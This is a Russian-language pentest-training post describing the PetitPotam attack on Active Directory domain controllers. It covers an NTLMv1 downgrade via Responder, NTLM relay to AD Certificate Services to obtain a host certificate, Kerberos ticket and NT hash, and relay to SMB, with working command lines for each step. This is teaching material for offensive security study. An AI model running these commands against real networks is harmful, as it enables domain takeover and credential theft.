Pentest обучение
October 29

PetitPotam

Атака PetitPotam позволяет захватить контроллер домена всего за несколько действий. Атака основана на том, что можно заставить контроллер домена аутентифицироваться на вашем хосте, получить его хэш и ретранслировать его для повышения привилегий.

Ссылка на эксплойт

python3 PetitPotam.py -u username -p password -d domain.local listener target

Понижение аутентификации до NTLMv1

Это самый простой и быстрый способ эксплуатации. В случае, если групповыми политиками хостам разрешена аутентификация по протоколу NTLMv1, атакующий может заставить хост понизить протокол аутентификации до NTLMv1. Протокол NTLMv1 является небезопасным и позволяет осуществить перебор хеша в течение короткого срока для получения NTLM-хеша учетной записи.

Как эксплуатировать

Проще всего реализовать эту атаку с помощью утилиты Responder.

./Responder.py --lm --I eth0 --A

Выпуск сертификата в центре сертификации

Это самый популярный способ использования PetitPotam. В случае, если в инфраструктуре есть центр сертификации (Active Directory Certificate Services), и в нем активированы службы Web Enrollment или Certificate Enrollment Web Service, атакующий может провести атаку NTLM Relay на центр сертификации, получить сертификат хоста и затем с помощью сертификата получить TGT-билет. Далее можно также получить NTLM-хеш учетной записи хоста.

ntlmrelayx.py -smb2support -t http://CA-IP/certsrv/certfnsh.asp --adcs --template KerberosAuthentication

Затем эксплуатируем PetitPotam, получаем запрос. Ntlmrelayx.py генерирует запрос, отправляет его в центр сертификации. В результате атаки мы получаем сертификат в base64.

Декодируем сертификат и запрашиваем с его помощью TGT-билет.

сat base64_cert.txt | base64 -d > host_cert.pfx
python3 gettgtpkinit domain.local/vuln-hostname\$ -cert-pfx path-to-cert host.ccache

Получаем NTLM-хеш учетной записи хоста с использованием утилиты getnthash.py. В параметре key нужно указать AS-REP encryption key, который был получен при выпуске TGT-билета:

export KRB5CCName=host.ccache
python3 getnthash.py domain.local/vuln-hostname\$ -key as-rep-key

Далее этот NTLM-хеш можно использовать для атак Pass-the-Hash.

Атака NTLM Relay на SMB

PetitPotam можно сочетать с атакой NTLM Relay на SMB (отсутствие подписи на SMB встречается довольно часто). Запускаем ntlmrelayx.py:

ntlmrelayx.py -tf exchanges-list.txt -socks

После эксплуатации PetitPotam на хосте, который является администратором, получаем SMB-сессии от имени администратора.

Сама по себе уязвимость PetitPotam не является критической, однако в сочетании с недостатками конфигурации или особенностями инфраструктуры может быть очень опасной.

Life-Hack Media:

Life-Hack - Жизнь-Взлом

Новости Кибербеза

Курсы по программированию

Юмор